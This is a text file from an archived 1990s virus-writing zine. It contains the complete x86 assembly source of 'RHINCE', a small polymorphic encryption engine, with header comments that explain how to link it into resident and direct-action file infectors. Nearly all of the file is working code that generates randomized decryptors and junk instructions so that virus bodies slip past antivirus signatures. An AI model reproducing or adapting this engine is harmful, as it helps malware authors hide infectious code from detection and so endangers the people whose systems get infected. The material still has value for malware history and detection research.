home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / MAGS.ZIP / VLAD#4.ZIP / ARTICLE.4_6 < prev    next >
Encoding:
Text File  |  1995-04-06  |  7.1 KB  |  218 lines

  1. ; RHINCE, The Rickety and Hardly Insidious yet New Chaos Engine, v1.0,
  2. ; By Rhincewind [Vlad]
  3. ;
  4. ; This here code is a tiny 100% table-driven engine styled after the DSCE.
  5. ; The big benefit of the DSCE approach is that you no longer have to keep
  6. ; track of a counter, pointer or any other register.
  7. ;
  8. ; Calling parameters:
  9. ;
  10. ; CX            Length of code to encrypt
  11. ; DS:DX         32-bit pointer to code to encrypt
  12. ; BP            Offset encrypted code will be run at.
  13. ;
  14. ; Return parameters:
  15. ; CX            Length of decryptor + decrypted code
  16. ; DS:DX         32-bit pointer to encrypted code
  17. ;
  18. ; The engine is a mere 416 bytes in length. Like the MtE, it must be called
  19. ; at the same offset as in the assembled version. This requirement makes it
  20. ; a bit tougher to implement this engine in generic direct action infectors,
  21. ; as they will have to relocate CS:IP. For the structure of a resident
  22. ; infector it makes no difference. Also, the encrypted code will be placed
  23. ; directly after the engine, at the 'polycode' label. If this is inconvenient,
  24. ; simply move the label.
  25. ;
  26. ; I wrote this one to see how small an engine of this type can get, as
  27. ; the original DSCE is very much overweight. It's trivial to detect, but hey,
  28. ; it's still an engine.
  29. ;
  30. ; Rhince.
  31.  
  32. mut_eng:        push dx
  33.                 inc cx
  34.                 shr cx,1
  35.                 mov di, offset polycode
  36.                 mov si, offset insert_table
  37.                 mov word ptr [si-(insert_table-codelen)],cx
  38.                 call get_rand
  39.                 mov word ptr [si-(insert_table-seed)],ax
  40. genstart:       mov dx,9
  41. gen_decryptor:  call get_rand
  42.                 and ax,0fh              ;Bump this up for kicks.
  43. do_cx_rnd:      push ax
  44.                 mov ax, (endgarbage-garbagetbl)/2
  45.                 call rand_in_range
  46.                 xchg ax,bx
  47.                 add bx,bx
  48.                 call word ptr [garbagetbl+bx]
  49.                 pop ax
  50.                 dec ax
  51.                 jns do_cx_rnd
  52.                 mov ax, 0c72eh
  53.                 stosw
  54.                 mov al, 06
  55.                 stosb
  56.                 mov word ptr [si],di
  57.                 cmpsw
  58.                 stosw
  59.                 dec dx
  60.                 jnz gen_decryptor
  61.                 mov ax, 0ebh
  62.                 stosw
  63.                 mov cx,9
  64.                 push cx
  65. fill_er_up:     call get_rand
  66.                 stosw
  67.                 loop fill_er_up
  68.                 pop cx
  69.                 push di
  70.                 db 08dh,083h
  71.                 dw -(offset polycode)
  72.                 mov startptr,ax
  73.                 sub ax, (end_decryptor-decryptor)
  74.                 mov si, offset decryptor
  75.                 mov bx, offset insert_table
  76. fill_values:    mov di, word ptr ds:[bx]
  77.                 stosw
  78.                 movsw
  79.                 inc bx
  80.                 inc bx
  81.                 inc ax
  82.                 inc ax
  83.                 loop fill_values
  84.                 pop di
  85.                 pop si
  86.                 mov cx, codelen
  87. encrypt_loop:   lodsw
  88.                 xor ax, seed
  89.                 stosw
  90.                 loop encrypt_loop
  91.                 mov cx, di
  92.                 mov dx, offset polycode
  93.                 sub cx,dx
  94.                 ret
  95. rnd_onebyters:  mov bx, offset onebyters
  96.                 mov ax, (end_onebyters-onebyters)
  97. xlat_stosb:     call rand_in_range
  98.                 xlat
  99.                 stosb
  100. _ret:           ret
  101. onebyters       db 0fdh,0fch,0fbh,0f9h,0f8h,0f5h,0d7h,0cch
  102.                 db 9fh,9eh,99h,98h,97h,96h,95h
  103.                 db 40h,41h,42h,43h,45h,46h,47h,48h,49h,4ah,4bh,4dh,4eh,4fh
  104.                 db 93h,92h,91h,90h,3fh,37h,2fh,27h
  105. end_onebyters:
  106. seg_overrides   db 26h,2eh,36h,3eh
  107. rnd_lds_les:    call get_rand
  108.                 jns no_override
  109.                 mov ax, 4
  110.                 mov bx, offset seg_overrides
  111.                 call xlat_stosb
  112. no_override:    mov ax, (endfirstbytes-firstbytes)
  113.                 mov bx, offset firstbytes
  114.                 call xlat_stosb
  115.                 xchg ax,cx
  116. get_nother:     call get_rand
  117.                 test cl,1
  118.                 jz no_sp_test
  119. sp_test:        mov ah,al
  120.                 and ah,111000b
  121.                 cmp ah,100000b
  122.                 jz get_nother
  123. no_sp_test:     stosb
  124.                 xchg bx,ax
  125.                 call get_rand
  126.                 mov bh,bl
  127.                 and bh,11000111b
  128.                 cmp bh,110b
  129.                 jz two_extra
  130.                 cmp bl, 0c0h
  131.                 jae no_extra_bytes
  132.                 cmp bl, 40h
  133.                 jb no_extra_bytes
  134.                 cmp bl, 80h
  135.                 jb one_extra
  136. two_extra:      stosb
  137.                 xchg ah,al
  138. one_extra:      stosb
  139. no_extra_bytes: ret
  140. firstbytes      db 2,3,0ah,0bh,12h,13h,1ah,1bh,22h,23h,2ah,2bh,32h,33h,38h
  141.                 db 39h,3ah,3bh,8ah,8bh
  142. endfirstbytes:
  143. rnd_mov:        call get_rand
  144.                 and al,0fh
  145.                 cmp al,0ch
  146.                 jz rnd_mov
  147.                 add al, 0b0h
  148.                 stosb
  149.                 xchg ax,bx
  150.                 call get_rand
  151.                 cmp bl,0b8h
  152.                 jb one_extra
  153. rnd_flowcontrol:mov ax, (end_flowcontrol-flowcontrol)
  154.                 mov bx, offset flowcontrol
  155.                 call xlat_stosb
  156.                 xor al,al
  157.                 stosb
  158.                 ret
  159. flowcontrol     db 70h,71h,72h,73h,74h,75h,76h,77h,78h,79h,7ah,7bh,7ch,7dh,7eh,7fh
  160.                 db 0e0h,0e1h,0e2h,0e3h
  161. end_flowcontrol:
  162. rnd_mov2:       mov ax, (end_mov_ops-mov_ops)
  163.                 mov bx, offset mov_ops
  164.                 call xlat_stosb
  165.                 xchg ax,cx
  166.                 call get_rand
  167.                 jns no_inc
  168.                 inc cx
  169.                 mov byte ptr ds:[di-1],cl
  170.                 jmp one_byte2
  171. no_inc:         stosb
  172.                 ret
  173. one_byte2:      stosw
  174.                 ret
  175. mov_ops         db 04h,0ch,14h,1ch,24h,2ch,34h,3ch,0a8h
  176. end_mov_ops:
  177. rand_in_range:  push bx
  178.                 push dx
  179.                 xchg ax,bx
  180.                 call get_rand
  181.                 xor dx,dx
  182.                 div bx
  183.                 xchg ax,dx
  184.                 pop dx
  185.                 pop bx
  186.                 ret
  187. get_rand:       in al,40h       ;I'm not too worried about RNG prediction
  188.                 xchg al,ah      ;attacks against an engine so vulnerable
  189.                 in al,40h       ;to the easier things in life.
  190.                 xor ax, 0FFFFh
  191.                 org $-2
  192. Randomize       dw ?
  193.                 mov randomize,ax
  194.                 ret
  195. garbagetbl:     dw offset rnd_onebyters
  196.                 dw offset rnd_mov
  197.                 dw offset rnd_lds_les
  198.                 dw offset rnd_mov2
  199.                 dw offset rnd_flowcontrol
  200. endgarbage:
  201. decryptor:      cld
  202.                 mov si, 1234h
  203.                 org $-2
  204. startptr        dw ?
  205.                 mov cx, 1234h
  206.                 org $-2
  207. codelen         dw ?
  208. decryptloop:    xor word ptr cs:[si], 1234h
  209.                 org $-2
  210. seed            dw ?
  211.                 lodsw
  212.                 loop decryptloop
  213.                 dw 01ebh
  214.                 db ?
  215. end_decryptor:
  216. insert_table:   dw 9 dup (?)
  217. polycode:
  218.